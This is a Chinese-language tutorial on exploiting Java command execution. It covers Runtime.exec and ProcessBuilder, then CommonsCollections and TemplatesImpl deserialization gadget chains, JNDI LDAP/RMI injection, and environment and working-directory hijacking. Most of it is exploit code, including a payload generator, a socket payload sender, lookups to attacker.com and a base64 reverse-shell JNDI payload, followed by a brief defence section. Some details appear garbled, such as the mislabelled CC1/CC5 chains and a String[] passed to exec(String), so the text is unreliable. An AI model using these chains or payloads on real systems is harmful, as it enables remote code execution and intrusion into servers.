一、Java 命令执行的两种核心方式

Java 中有两种主要的进程创建 API:Runtime.exec()ProcessBuilder。它们底层最终都会调用 native 方法 ProcessImpl.start(),但参数处理和使用场景有显著差异。

1.1 Runtime.exec 方法签名

public class Runtime {
    public Process exec(String command) throws IOException;
    public Process exec(String[] cmdarray) throws IOException;
    public Process exec(String command, String[] envp) throws IOException;
    public Process exec(String[] cmdarray, String[] envp) throws IOException;
    public Process exec(String command, String[] envp, File dir) throws IOException;
    public Process exec(String[] cmdarray, String[] envp, File dir) throws IOException;
}

1.2 ProcessBuilder 方法签名

public final class ProcessBuilder {
    public ProcessBuilder(String... command);
    public ProcessBuilder(List<String> command);
    public Process start() throws IOException;
    public ProcessBuilder environment(String[] envp);
    public ProcessBuilder directory(File directory);
    public ProcessBuilder redirectErrorStream(boolean redirectErrorStream);
}

1.3 关键差异

特性 Runtime.exec() ProcessBuilder
参数传递 String 自动分割或 String[] List 或 String[]
Shell 解析 String 形式会被 StringTokenizer 分割 不经过 shell
工作目录 可选指定 可通过 directory() 设置
环境变量 可选传入 可通过 environment() 传入 Map
错误流合并 不支持 支持 redirectErrorStream(true)
链式调用 不支持 支持 builder pattern
Java 版本 1.0+ 1.5+

二、Runtime.exec 的 Shell 陷阱

2.1 String 参数的自动分割

// 危险!Runtime.exec(String) 使用 StringTokenizer 分割
Runtime.getRuntime().exec("ping -c 1 -w 5 192.168.1.1");
// 实际命令: ["ping", "-c", "1", "-w", "5", "192.168.1.1"]

// 注意: 特殊字符不会被 shell 解析
Runtime.getRuntime().exec("cat /etc/passwd | grep root");
// 不会按管道解析,而是尝试执行名为 "cat" 的命令,
// 参数为 ["/etc/passwd", "|", "grep", "root"]
// 管道符 "|" 会被当作普通参数

// 要使用 shell,必须显式调用 /bin/sh
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "cat /etc/passwd | grep root"});

2.2 Windows vs Linux

// Linux/Mac
String[] linuxCmd = {"/bin/bash", "-c", "whoami && cat /etc/passwd"};
Runtime.getRuntime().exec(linuxCmd);

// Windows
String[] winCmd = {"cmd.exe", "/c", "whoami & dir C:\"};
Runtime.getRuntime().exec(winCmd);
// 或
Runtime.getRuntime().exec("cmd.exe /c dir C:\");

// 自动检测 OS
String osName = System.getProperty("os.name").toLowerCase();
String[] cmd;
if (osName.contains("win")) {
    cmd = new String[]{"cmd.exe", "/c", userInput};
} else {
    cmd = new String[]{"/bin/sh", "-c", userInput};
}
Runtime.getRuntime().exec(cmd);

2.3 正确读取命令输出

import java.io.*;

public class SafeExec {
    public static String exec(String[] cmd) throws Exception {
        Process process = Runtime.getRuntime().exec(cmd);
        
        // 必须同时读取 stdout 和 stderr,否则可能死锁
        StringBuilder output = new StringBuilder();
        StringBuilder error = new StringBuilder();
        
        Thread t1 = new Thread(() -> {
            try (BufferedReader reader = new BufferedReader(
                    new InputStreamReader(process.getInputStream()))) {
                String line;
                while ((line = reader.readLine()) != null) {
                    output.append(line).append("
");
                }
            } catch (IOException ignored) {}
        });
        
        Thread t2 = new Thread(() -> {
            try (BufferedReader reader = new BufferedReader(
                    new InputStreamReader(process.getErrorStream()))) {
                String line;
                while ((line = reader.readLine()) != null) {
                    error.append(line).append("
");
                }
            } catch (IOException ignored) {}
        });
        
        t1.start();
        t2.start();
        process.waitFor();
        t1.join();
        t2.join();
        
        if (error.length() > 0) {
            throw new RuntimeException("Error: " + error.toString());
        }
        return output.toString();
    }
    
    public static void main(String[] args) throws Exception {
        String[] cmd = {"/bin/bash", "-c", "id"};
        System.out.println(exec(cmd));
    }
}

三、通过反射获取 Runtime 的多种方式

在反序列化利用链中,反射获取 Runtime 是核心环节。以下是已知的所有方式:

3.1 直接调用(最简单)

// 方式 1: 静态方法直接获取
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec("whoami");

3.2 通过反射调用 getRuntime

import java.lang.reflect.Method;

// 方式 2: 反射调用 Runtime 类的方法
Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(null);  // 静态方法传 null
Method execMethod = runtimeClass.getMethod("exec", String.class);
Process process = (Process) execMethod.invoke(runtime, "whoami");

3.3 InvokerTransformer 方式(CommonsCollections)

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

// CommonsCollections 利用链中的方式
// InvokerTransformer 会反射调用指定方法
Transformer transformer = new InvokerTransformer(
    "exec",                          // 方法名
    new Class[]{String.class},       // 参数类型
    new Object[]{"whoami"}           // 参数值
);

// 触发点: 调用 transform 时会逐层执行
// ChainedTransformer 链:
Transformer[] chain = new Transformer[]{
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec",
        new Class[]{String.class},
        new Object[]{"whoami"})
};

Transformer chained = new ChainedTransformer(chain);
// 触发链式调用
chained.transform(Runtime.class);  // 开始触发

3.4 TemplatesImpl 方式(ysoserial CommonsCollections5)

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import javax.xml.transform.Templates;

// 利用链入口: TemplatesImpl.getOutputProperties()
// 它会调用 _bytecodes 中的恶意类

TemplatesImpl templates = new TemplatesImpl();

// 设置 _name 字段(必须)
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");

// 设置 _bytecodes 为恶意类字节码
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{evilClassBytes});

// 设置 _tfactory
Field tfactoryField = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

// 触发点: readObject -> getOutputProperties() -> defineTransletClasses() -> newInstance()
// 恶意类的静态代码块执行 Runtime.exec

四、反序列化利用链中的 Runtime.exec

4.1 CommonsCollections 完整链路

// ysoserial CommonsCollections1 利用链简化版
// 环境: commons-collections 3.1 - 3.2.1, JDK 1.7

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.PriorityQueue;

public class CC1Exploit {
    public static void main(String[] args) throws Exception {
        // Step 1: 构造 Transformer 链
        Transformer[] transformers = new Transformer[]{
            // 获取 Runtime 类
            new ConstantTransformer(Runtime.class),
            // 反射调用 getMethod("getRuntime")
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            // 反射调用 invoke(null) 得到 Runtime 实例
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            // 反射调用 exec("whoami")
            new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"whoami"}),
            // 将结果转为 String(为了满足链式调用)
            new ConstantTransformer(1)
        };
        
        // Step 2: 构造 ChainedTransformer
        Transformer chain = new ChainedTransformer(transformers);
        
        // Step 3: 构造 LazyMap
        java.util.Map lazyMap = LazyMap.decorate(new java.util.HashMap(), chain);
        
        // Step 4: 构造 TransformingComparator
        TransformingComparator comparator = new TransformingComparator(chain);
        
        // Step 5: 构造 PriorityQueue(入口类)
        PriorityQueue queue = new PriorityQueue(2, comparator);
        
        // 添加元素触发 compare()
        queue.add("key1");
        queue.add("key2");
        
        // Step 6: 序列化发送
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(queue);
        oos.close();
        
        byte[] payload = baos.toByteArray();
        System.out.println("Payload generated, size: " + payload.length);
        
        // 服务端触发:
        // ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload));
        // ois.readObject();  // RCE!
    }
}

4.2 InvocationHandler 利用链

// 利用 Proxy + InvocationHandler 触发
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.io.*;

public class InvocationHandlerExploit {
    public static void main(String[] args) throws Exception {
        // 自定义 InvocationHandler
        InvocationHandler handler = (proxy, method, args1) -> {
            if (method.getName().equals("compareTo")) {
                // 触发 Runtime.exec
                Runtime.getRuntime().exec("whoami");
                return 0;
            }
            return null;
        };
        
        // 构造代理对象(需要实现 Comparable)
        Object proxy = Proxy.newProxyInstance(
            Comparable.class.getClassLoader(),
            new Class[]{Comparable.class},
            handler
        );
        
        // 放入 TreeSet,反序列化时会调用 compareTo()
        java.util.TreeSet treeSet = new java.util.TreeSet();
        treeSet.add(proxy);
        
        // 序列化...
    }
}

4.3 完整反序列化触发流程

ObjectInputStream.readObject()
  → 读取类信息
  → 实例化对象(Unsafe.allocateInstance 或无参构造)
  → 调用私有 readObject() 方法(如果有)
    → PriorityQueue.readObject()
      → 调用 comparator.compare() 进行堆调整
        → TransformingComparator.compare()
          → transformer.transform()
            → ChainedTransformer.transform() (循环调用链中每个 transformer)
              → ConstantTransformer.transform(Runtime.class) → 返回 Runtime.class
              → InvokerTransformer.transform(Runtime.class)
                → Runtime.class.getMethod("getRuntime")
                → method.invoke(null) → Runtime 实例
              → InvokerTransformer.transform(Runtime实例)
                → runtime.exec("whoami") → 执行命令

五、ProcessBuilder 的妙用

5.1 参数注入绕过

// ProcessBuilder 不会经过 shell,所以 | ; $ 都不会被解析
// 但可以通过参数注入到其他命令

// 示例: find 命令注入
ProcessBuilder pb = new ProcessBuilder(
    "find", "/", "-name", userInput, "-exec", "cat", "{}", ";"
);
// 如果 userInput 包含恶意参数...

// 更好的方式: Runtime.exec 配合 shell
// 如果只能用 ProcessBuilder,可以通过 sh -c 调用 shell
ProcessBuilder pb = new ProcessBuilder("/bin/sh", "-c", userInput);
pb.start();

5.2 环境变量注入

// 设置环境变量 PATH 指向恶意目录
Map<String, String> env = new HashMap<>(System.getenv());
env.put("PATH", "/attacker/path:" + env.get("PATH"));

ProcessBuilder pb = new ProcessBuilder("someCommand");
pb.environment().putAll(env);
// 如果 someCommand 在 PATH 中能找到恶意版本...

// LD_PRELOAD 注入(Linux)
env.put("LD_PRELOAD", "/attacker/malicious.so");
Runtime.getRuntime().exec("/bin/true", env.entrySet().toArray(new String[0]));

5.3 工作目录劫持

// 如果应用从工作目录加载文件
ProcessBuilder pb = new ProcessBuilder("./run.sh");
pb.directory(new File("/attacker/"));  // 指向恶意目录
pb.start();

六、JNDI + Runtime.exec 高级利用

6.1 JNDI LDAP 远程类加载

// 攻击者端: 启动恶意 LDAP 服务
// 工具: marshalsec, JNDI-Injection-Exploit

// 服务端漏洞代码
InitialContext ctx = new InitialContext();
Object result = ctx.lookup("ldap://attacker.com:1389/Exploit");

// 攻击者提供的恶意类
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("whoami");
        } catch (Exception e) {}
    }
}

// JNDI lookup 会:
// 1. 连接 LDAP 服务器
// 2. 下载恶意类
// 3. 加载并实例化
// 4. 触发静态代码块中的 Runtime.exec

6.2 JNDI RMI 利用

// RMI 注册表暴露
Registry registry = LocateRegistry.getRegistry(targetHost, 1099);
// 如果能注册恶意对象...

// 反序列化 RMI 服务
// ysoserial CommonsCollections payload 可直接打到 RMI 端口
// java -jar ysoserial.jar CommonsCollections1 'whoami' | nc target 1099

6.3 JNDI 绕过高版本限制

JDK 8u191+ / 11.0.1+ 默认禁用了远程类加载。绕过方式:

1. 使用本地 Reference + 远程 Codebase(高版本仍支持)
2. 使用 Tomcat 8 的 JreEnv + GroovyBypass
3. 使用 SNMP + JNDI
4. 降低 JDK 版本(如果有权限)
5. 使用 RMI + 自定义 ClassLoader

# 高版本 JNDI 绕过 Payload 示例
ldap://attacker.com:1389/Basic/Command/Base64/L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci80NDQ0IDA+JjE=
# 这是反弹 shell 的 base64 编码

七、实战:完整 RCE PoC

7.1 反射获取 Runtime 并执行

import java.io.*;
import java.lang.reflect.Method;

public class RuntimeExecPoC {
    public static void main(String[] args) throws Exception {
        String command = args.length > 0 ? args[0] : "whoami";
        
        // 方式 1: 直接调用
        System.out.println("=== 直接调用 ===");
        Process p1 = Runtime.getRuntime().exec(command);
        printOutput(p1);
        
        // 方式 2: 反射调用
        System.out.println("=== 反射调用 ===");
        Class<?> runtimeClass = Class.forName("java.lang.Runtime");
        Method getRuntime = runtimeClass.getMethod("getRuntime");
        Object runtime = getRuntime.invoke(null);
        Method exec = runtimeClass.getMethod("exec", String.class);
        Process p2 = (Process) exec.invoke(runtime, new String[]{"/bin/bash", "-c", command});
        printOutput(p2);
        
        // 方式 3: ProcessBuilder
        System.out.println("=== ProcessBuilder ===");
        ProcessBuilder pb = new ProcessBuilder("/bin/bash", "-c", command);
        pb.redirectErrorStream(true);
        Process p3 = pb.start();
        printOutput(p3);
    }
    
    private static void printOutput(Process p) throws Exception {
        try (BufferedReader br = new BufferedReader(
                new InputStreamReader(p.getInputStream()))) {
            String line;
            while ((line = br.readLine()) != null) {
                System.out.println(line);
            }
        }
        p.waitFor();
    }
}

7.2 序列化 Payload 生成工具

// 简易序列化工具(需要 CommonsCollections 依赖)
import java.io.*;

public class SerializeHelper {
    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        return baos.toByteArray();
    }
    
    public static Object deserialize(byte[] data) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
        Object obj = ois.readObject();
        ois.close();
        return obj;
    }
    
    // 发送到远程服务(Socket 反序列化)
    public static void sendTo(String host, int port, byte[] payload) throws Exception {
        java.net.Socket socket = new java.net.Socket(host, port);
        ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream());
        oos.writeObject("");
        oos.reset();  // 重要!重置流
        oos.writeObject(payload);  // 写入恶意 payload
        oos.close();
        socket.close();
    }
}

八、防御

8.1 禁用 Runtime.exec

// SecurityManager 方式(已废弃但仍可配置)
System.setSecurityManager(new SecurityManager() {
    @Override
    public void checkExec(String cmd) {
        throw new SecurityException("Runtime.exec blocked");
    }
    
    @Override
    public void checkLink(String lib) {
        throw new SecurityException("System.load blocked");
    }
    
    @Override
    public void checkConnect(String host, int port) {
        throw new SecurityException("Network blocked");
    }
});

// JEP 230: 禁用 JNDI 远程类加载
// java -Dcom.sun.jndi.rmi.object.trustURLCodebase=false -Dcom.sun.jndi.ldap.object.trustURLCodebase=false

8.2 反序列化白名单

public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> ALLOWED = Set.of(
        "com.example.dto.UserDTO",
        "com.example.dto.OrderDTO"
    );
    
    public SafeObjectInputStream(InputStream in) throws IOException {
        super(in);
    }
    
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) 
            throws IOException, ClassNotFoundException {
        String className = desc.getName();
        // 拒绝常见危险类
        if (className.startsWith("org.apache.commons.collections") ||
            className.startsWith("com.sun.org.apache.xalan") ||
            className.startsWith("java.lang.Process")) {
            throw new IOException("Unauthorized class: " + className);
        }
        if (!ALLOWED.contains(className)) {
            throw new IOException("Unauthorized class: " + className);
        }
        return super.resolveClass(desc);
    }
}

8.3 依赖升级

<!-- pom.xml 升级依赖 -->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.2</version>  <!-- 安全版本 -->
</dependency>

<!-- 或使用 commons-collections4 4.1+ -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.4</version>
</dependency>

九、总结

Java Runtime.exec 利用的核心技巧:

  1. 理解 Shell 机制:Runtime.exec(String) 不分 shell,| ; $ 不会被解析
  2. 反射获取:Runtime 是私有单例,必须通过反射链获取
  3. InvokerTransformer:CC 利用链的核心,反射调用任意方法
  4. TemplatesImpl:无依赖的利用链(JDK 自带 Xalan)
  5. JNDI:Log4j 等漏洞的核心,注意高版本绕过
  6. ProcessBuilder:不会经过 shell,需要 /bin/sh -c 配合